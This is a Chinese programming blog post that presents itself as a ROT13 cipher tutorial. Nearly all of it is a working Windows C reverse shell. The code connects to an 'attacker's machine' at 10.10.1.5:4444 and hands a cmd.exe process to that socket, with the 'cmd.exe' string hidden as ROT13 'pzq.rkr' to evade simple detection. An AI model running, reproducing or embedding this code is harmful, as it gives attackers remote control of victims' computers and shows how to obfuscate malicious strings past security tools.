首页 > 编程语言 >【ROT13算法】简单移位和替换

【ROT13算法】简单移位和替换

时间:2025-01-04 15:46:13浏览次数:6  
标签:str lib 算法 ROT13 && include 移位

字母替换,旋转13个位置,字母共26个,因此加密算法也是解密算法

#include <winsock2.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#pragma comment(lib, "ws2_32.lib")

WSADATA wsaData;
SOCKET wSock;
structsockaddr_in hax;
STARTUPINFO sui;
PROCESS_INFORMATION pi;

void rot13Transform(char *str) {
while (*str) {
    if ((*str >= 'A' && *str <= 'Z')) {
      *str = ((*str - 'A' + 13) % 26) + 'A';
    } elseif ((*str >= 'a' && *str <= 'z')) {
      *str = ((*str - 'a' + 13) % 26) + 'a';
    }
    str++;
  }
}

void rot13Encrypt(char *str) {
rot13Transform(str);
}

void rot13Decrypt(char *str) {
// ROT13 encryption and decryption are the same
rot13Transform(str);
}

int main(int argc, char* argv[]) {
// listener ip, port on attacker's machine
char *ip = "10.10.1.5";
short port = 4444;

// init socket lib
WSAStartup(MAKEWORD(2, 2), &wsaData);

// create socket
  wSock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, (unsignedint)NULL, (unsignedint)NULL);

  hax.sin_family = AF_INET;
  hax.sin_port = htons(port);
  hax.sin_addr.s_addr = inet_addr(ip);

// connect to remote host
WSAConnect(wSock, (SOCKADDR*)&hax, sizeof(hax), NULL, NULL, NULL, NULL);

memset(&sui, 0, sizeof(sui));
  sui.cb = sizeof(sui);
  sui.dwFlags = STARTF_USESTDHANDLES;

// String to be decrypted via ROT13
char command[] = "pzq.rkr";

// Decrypt the string using ROT13
rot13Decrypt(command);

  sui.hStdInput = sui.hStdOutput = sui.hStdError = (HANDLE) wSock;

// start the decrypted command with redirected streams
CreateProcess(NULL, command, NULL, NULL, TRUE, 0, NULL, NULL, &sui, &pi);
exit(0);
}

cmd.exe变成pzq.rkr

标签:str,lib,算法,ROT13,&&,include,移位
From: https://www.cnblogs.com/o-O-oO/p/18651962

相关文章

  • 【ROT47算法】简单移位和替换
    另一个变种,一共94个字符(ASCII的33-126)#include<winsock2.h>#include<stdio.h>#include<stdlib.h>#include<string.h>#pragmacomment(lib,"ws2_32.lib")WSADATAwsaData;SOCKETwSock;structsockaddr_inhax;STARTUPINFOsui;PROC......
  • C++ 算法库(一)
    1.OSQP‌OSQP(OperatorSplittingQuadraticProgramming)是一个用于求解凸二次规划(ConvexQuadraticProgramming)问题的求解器‌。它基于“算子分裂”的优化方法,将二次规划问题分解为一系列小的子问题,并通过迭代的方式逐步求解。osqp-eigen是对OSQP库的Eigen接口封装,方便矩阵和向......
  • BUGAWAY算法小抄-差分数组
    BUGAWAY算法小抄-差分数组什么是差分数组?差分数组的思想是通过对原始数组进行处理,得到一个新的数组(差分数组),利用该数组来高效地进行区间更新操作。具体来说,差分数组记录的是相邻元素之间的差值,而不是原始数组的元素本身。差分数组的原理1.差分数组的构造:假设有一个数组A=......
  • 二分查找 - 相关基础算法总结
    问题1:寻找target位置,没有返回-1问题2:从右往左,寻找<target的第一个位置问题3:从左往右,寻找>target的第一个位置问题4:从右往左,寻找<=target的第一个位置问题5:从左往右,寻找>=target的第一个位置以上问题是求很多解力扣算法题的基础,需要好好的掌握: 问题1:寻找......
  • 索引压缩算法 New PForDelta 简介以及使用 SIMD 技术的优化
     1.背景:搜索引擎与索引压缩 在搜索引擎或类似需要对海量文档进行检索的系统中,通常会构建倒排索引(InvertedIndex)。为降低存储成本、减少I/O并提升检索速度,对倒排索引所包含的大量整数序列进行压缩是一种行之有效的手段。•目标:在确保解压速度的同时,尽量获得更好的压缩......
  • 爬山算法与模拟退火算法的全方面比较
    一、基本概念与原理1.爬山算法        爬山算法是一种基于启发式的局部搜索算法,通过不断地向当前解的邻域中搜索更优解来逼近全局最优解。它的核心思想是,从当前解出发,在邻域内找到一个使目标函数值更大(或更小)的解作为新的当前解,直到找不到更优的解为止。2.模拟退火......
  • 计算机网络•自顶向下方法:网络安全、RSA算法
    网络安全网络安全的通用定义:网络安全是指网络系统的硬件、软件及其系统中的数据受到保护,不受偶然的或者恶意的原因而遭到破坏、更改、泄露,系统连续可靠地运行,网络服务不中断。网络中的通信安全机密性:报文内容的机密性:仅发送方和希望的接收方能够理解报文的内容通信......
  • 【优选算法】Binary-Blade:二分查找的算法刃(下)
    文章目录1.山脉数组的峰顶索引2.寻找峰值3.寻找旋转排序数组中的最小值4.点名希望读者们多多三连支持小编会继续更新你们的鼓励就是我前进的动力!本篇接上一篇二分查找,主要通过部分题目熟悉二分查找的进阶使用,重点强调二段性,找到两个区间不同的地方在哪,多画图划分界限......
  • 标准库简介 - STL容器、算法简介
    引言C++标准模板库(StandardTemplateLibrary,简称STL)是C++标准库的一部分,提供了丰富的数据结构和算法。STL的设计目标是通用性和高效性,它通过模板机制实现了高度的灵活性和复用性。本文将详细介绍STL中的容器和算法,并通过实例帮助读者理解其使用方法。1.STL容器简介......
  • 请使用js实现一个分组抽签的算法
    要实现一个分组抽签的算法,我们首先需要明确一些要求和步骤。以下是一个简单的实现,它允许你将一组人员随机分配到指定数量的组中:输入:参与抽签的人员列表。需要的组数。输出:每个组的人员列表。以下是一个简单的JavaScript实现:functionshuffleArray(array){for......